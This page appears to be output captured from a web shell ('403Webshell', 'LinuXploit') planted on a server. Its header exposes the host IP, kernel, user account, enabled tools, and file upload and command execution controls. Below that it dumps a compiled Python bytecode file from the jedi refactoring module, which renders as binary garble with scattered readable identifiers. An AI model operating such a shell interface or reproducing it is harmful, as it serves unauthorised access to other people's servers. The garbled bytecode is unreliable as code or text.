403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/jedi/api/refactoring/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/jedi/api/refactoring/__pycache__/__init__.cpython-311.pyc
�

p�{c[#���ddlZddlmZddlmZmZmZddlmZddl	m
Z
d���ZGd�d��Z
Gd	�d
��Zd�Zd�Zd
�Zd�ZdS)�N)�Path)�Dict�Iterable�Tuple)�split_lines)�RefactoringErrorzmor_test and_test not_test comparison expr xor_expr and_expr shift_expr arith_expr term factor power atom_exprc�,�eZdZd�Zd�Zd�Zd�Zd�ZdS)�ChangedFilec�L�||_||_||_||_||_dS�N)�_inference_state�
_from_path�_to_path�_module_node�_node_to_str_map)�self�inference_state�	from_path�to_path�module_node�node_to_str_maps      �?/usr/lib/python3/dist-packages/jedi/api/refactoring/__init__.py�__init__zChangedFile.__init__s.�� /���#�����
�'��� /�����c���t|j���d���}t|���d���}|ddkr|dxxdz
cc<|ddkr|dxxdz
cc<|jjj}|j�d}n3	|j�|��}n#t$r
|j}YnwxYw|j
�d}n3	|j
�|��}n#t$r
|j
}YnwxYwtj||t|��t|�����}d�|���d��S)NT��keepends�����
)�fromfile�tofile� )rr�get_code�get_new_coder
�project�pathr�relative_to�
ValueErrorr�difflib�unified_diff�str�join�rstrip)r�	old_lines�	new_lines�project_path�from_p�to_p�diffs       r�get_diffzChangedFile.get_diffs����� 1� :� :� <� <�t�L�L�L�	��� 1� 1� 3� 3�d�C�C�C�	��R�=�B����b�M�M�M�T�!�M�M�M��R�=�B����b�M�M�M�T�!�M�M�M��,�4�9���?�"��F�F�
)���4�4�\�B�B�����
)�
)�
)������
)�����=� ��D�D�
%��}�0�0��>�>�����
%�
%�
%��}����
%�����#��y���[�[��t�9�9�
�
�
���w�w�t�}�}�#�#�C�(�(�(s$� B;�;C�C�C8�8D�Dc�V�|jj�|j|j��Sr)r
�grammar�refactorrr�rs rr%zChangedFile.get_new_codeAs$���$�,�5�5�d�6G��I^�_�_�_rc���|j�td���t|jdd���5}|�|�����ddd��dS#1swxYwYdS)Nz5Cannot apply a refactoring on a Script with path=None�wr)�newline)rr�open�writer%)r�fs  r�applyzChangedFile.applyDs����?�"�"�G���
��$�/�3��
3�
3�
3�	)�q�
�G�G�D�%�%�'�'�(�(�(�	)�	)�	)�	)�	)�	)�	)�	)�	)�	)�	)�	)����	)�	)�	)�	)�	)�	)s�(A#�#A'�*A'c�2�d|jj�d|j�d�S)N�<z: �>)�	__class__�__name__rr9s r�__repr__zChangedFile.__repr__Ms ���!�^�4�4�4�d�o�o�o�F�FrN)rE�
__module__�__qualname__rr5r%r@rF�rrr
r
sh������0�0�0�')�')�')�R`�`�`�)�)�)�G�G�G�G�Grr
c�f�eZdZd	d�Zdeeeffd�Zdee	eeffd�Z
d�Zd�ZdS)
�RefactoringrIc�0�||_||_||_dSr)r
�_renames�_file_to_node_changes)rr�file_to_node_changes�renamess    rrzRefactoring.__init__Rs�� /�����
�%9��"�"�"r�returnc������fd���������fd�t�j�����D��S)Nc���|�|St|��}�D][\}}|�t|����r4t|��|tt|����d�z}�\t|��Sr)r,�
startswith�lenr)�p�from_�torPs   �r�calculate_to_pathz8Refactoring.get_changed_files.<locals>.calculate_to_pathXsx����y����A���A�$�
6�
6�	��r��<�<��E�
�
�+�+�6��B���!�C��E�
�
�O�O�$4�$4�"5�5�A����7�7�Nrc
���i|]T\}}|t�j|�|��tt|�������|�����US))rrrr)r
r
�next�iter�
get_root_node)�.0r'�map_rYrs   ��r�
<dictcomp>z1Refactoring.get_changed_files.<locals>.<dictcomp>bsw���
�
�
��$��

�+��%��)�)�$�/�/� ��d���,�,�:�:�<�<� $����
�
�
r)�get_renames�sortedrN�items)rrYrPs`@@r�get_changed_fileszRefactoring.get_changed_filesWsz�����	�	�	�	�	��"�"�$�$��
�
�
�
�
�!'�t�'A�'G�'G�'I�'I� J� J�
�
�
�	
rc�*�t|j��S)z8
        Files can be renamed in a refactoring.
        )rbrMr9s rrazRefactoring.get_renamesls���d�m�$�$�$rc�L�d}|jjj}|���D]7\}}|d|�|���d|�|���d�z
}�8|d�d�|������D����zS)Nrzrename from z
rename to r c3�>K�|]}|���V��dSr)r5)r^r?s  r�	<genexpr>z'Refactoring.get_diff.<locals>.<genexpr>ys*����V�V�q�a�j�j�l�l�V�V�V�V�V�Vr)r
r&r'rar(r-rd�values)r�textr1rWrXs     rr5zRefactoring.get_diffrs������,�4�9���)�)�+�+�	R�	R�I�E�2��D��$�$�\�2�2�2�2�B�N�N�<�4P�4P�4P�4P�R�
R�D�D��b�g�g�V�V�D�4J�4J�4L�4L�4S�4S�4U�4U�V�V�V�V�V�V�Vrc���|������D]}|����|���D]\}}|�|���dS)zU
        Applies the whole refactoring to the files, which includes renames.
        N)rdrir@ra�rename)rr?�old�news    rr@zRefactoring.apply{st���'�'�)�)�0�0�2�2�	�	�A�
�G�G�I�I�I�I��(�(�*�*�	�	�H�C���J�J�s�O�O�O�O�	�	rN)rI)
rErGrHrrrr
rdrrrar5r@rIrrrKrKQs�������:�:�:�:�

�4��k�(9�#:�
�
�
�
�*%�X�e�D�$�J�&7�8�%�%�%�%�W�W�W�����rrKc��|j}|jdvr||j�|��fS||�||jz��fS)N)z__init__.pyz__init__.pyi)�parent�name�joinpath�suffix)r'�new_name�dir_s   r�_calculate_renamerv�sP���;�D��y�3�3�3��T�[�)�)�(�3�3�3�3�����x�$�+�5�6�6�6�6rc�x�t��}i}|std���|D]�}|jj}|jdkrC|�A|j�dnt
|j��}|�t||�����\|�(|�	|ji��}|j
|z||<��t|||��S)N�!There is no name under the cursor�module)�setr�_name�	tree_name�type�module_pathr�addrv�
setdefault�prefixrK)	r�definitionsrt�file_renames�file_tree_name_map�dr|rV�fmaps	         rrlrl�s����5�5�L����D��B�C�C�C�
�
>�
>���G�%�	��6�X���)�"3��
�-���4��
�3F�3F�A����.�q�(�;�;�<�<�<�<��$�)�4�4�Q�]�B�G�G��"+�"2�X�"=��Y�����(:�L�I�I�Irc�,�|std���td�|D����rtd���td�|D����rtd���d�|D��}t|��dkrtd���t|��d	krtd
���t|��d	krtd���|dj}|���}|jdkrAt
d
d����|j|j��}td|z���t|�d�����d	krtd���|j	d	}|jdkr%t|j	��dkr
|j	d}|dkr@|jdkrtd���td|�
d���z���|���}|�
d���}d�|D��}	i}
|	D�]}|j}|����
��}|}
|jdks<|jjtvs)|jjdkr!|j����d|zd z}
|
�|i��}|}|j}|j}|jdkrc|j	dd!krR|jj	dj}|}|jj	d|jj	�|���D]}d"||<�||
z||<��|d����
��}|
�|i��}t)|���j��||<|���}|j�d#��d"kr|jd$ks|d%krd"||<t1||
��S)&Nrxc3�(K�|]
}|jdvV��dS))ry�	namespaceN)�api_type�r^�ns  rrhzinline.<locals>.<genexpr>�s*����
@�
@�Q�1�:�0�0�
@�
@�
@�
@�
@�
@rz,Cannot inline imports, modules or namespacesc3�(K�|]
}|jduV��dSr)r|r�s  rrhzinline.<locals>.<genexpr>�s)����
.�
.�1�1�;�$��
.�
.�
.�
.�
.�
.rz!Cannot inline builtins/extensionsc�D�g|]}|j����|��SrI�r|�
is_definitionr�s  r�
<listcomp>zinline.<locals>.<listcomp>�s+��C�C�C��q�{�'@�'@�'B�'B�C�1�C�C�CrrzNo definition found to inline�z.Cannot inline a name with multiple definitionsz$There are no references to this name�	expr_stmt�function�class)�funcdef�classdefzCannot inline a %sT)�include_setitemz3Cannot inline a statement with multiple definitions�	annassign���=z:Cannot inline a statement that is defined by an annotationz#Cannot inline a statement with "%s"F)�include_prefixc�D�g|]}|j����|��SrIr�r�s  rr�zinline.<locals>.<listcomp>�s+��F�F�F��!�+�*C�*C�*E�*E�F�!�F�F�Fr�testlist_star_expr�trailer�(�)�.rz 	r<�;)r�anyrUr|�get_definitionr}�dict�get�get_defined_names�childrenr$�get_rhs�get_root_context�
py__file__rp�EXPRESSION_PARTS�get_next_siblingr�r��index�_remove_indent_of_prefix�get_first_leaf�
get_next_leaf�striprK)r�namesr�r|r��type_�first_child�rhs�replace_code�
referencesrOrqr'�s�of_pathr�r��par�	some_node�changes�	next_leafs                     r�inliner��s[���D��B�C�C�C�
�
@�
@�%�
@�
@�
@�@�@�O��M�N�N�N�
�
.�
.��
.�
.�
.�.�.�D��B�C�C�C�C�C�e�C�C�C�K�
�;���1����>�?�?�?�
�;���!����O�P�P�P�
�5�z�z�Q����E�F�F�F��A��(�I��(�(�*�*�I��~��$�$����
�
�
��#�i�n�i�n�
-�
-�	��3�e�;�<�<�<�
�9�&�&�t�&�<�<�=�=��A�A��T�U�U�U��$�Q�'�K���;�&�&�3�{�/C�+D�+D��+I�+I�!�*�1�-���c�����{�*�*�"�L���
�#�5��&�&�e�&�<�<�=���
�
�
�
�
�
�C��<�<�u�<�5�5�L�F�F�U�F�F�F�J���� � ���N�	��$�$�&�&�1�1�3�3�����8�+�+�+��#�(�,<�<�<��#�(�I�5�5��$�5�5�7�7�C��l�"�S�(�A�&�1�1�$��;�;��������h���8�y� � �S�\�!�_��%;�%;��Z�(��+�2�F��A� �Z�0�1P�#�*�2E�2K�2K�C�2P�2P�1P�Q�
(�
(�	�%'��	�"�"��a�Z���
�
��q�>�*�*�,�,�7�7�9�9�D�"�-�-�d�B�7�7�G�1�)�2J�2J�2L�2L�2S�T�T�G�I���'�'�)�)�I�����e�$�$��*�*���9�,�,�	�S�0@�0@���	����(<�=�=�=rc�Z�d�t|d���dd���S)zT
    Removes the last indentation of a prefix, e.g. " \n \n " becomes " \n \n".
    rTrNr)r-r)r�s rr�r��s,���7�7�;�v��5�5�5�c�r�c�:�;�;�;r)r*�pathlibr�typingrrr�parsor�jedi.api.exceptionsr�splitr�r
rKrvrlr�r�rIrr�<module>r�s������������(�(�(�(�(�(�(�(�(�(�������0�0�0�0�0�0�O��%�'�'��?G�?G�?G�?G�?G�?G�?G�?G�D2�2�2�2�2�2�2�2�j7�7�7�J�J�J�*O>�O>�O>�d<�<�<�<�<r

Youez - 2016 - github.com/yon3zu
LinuXploit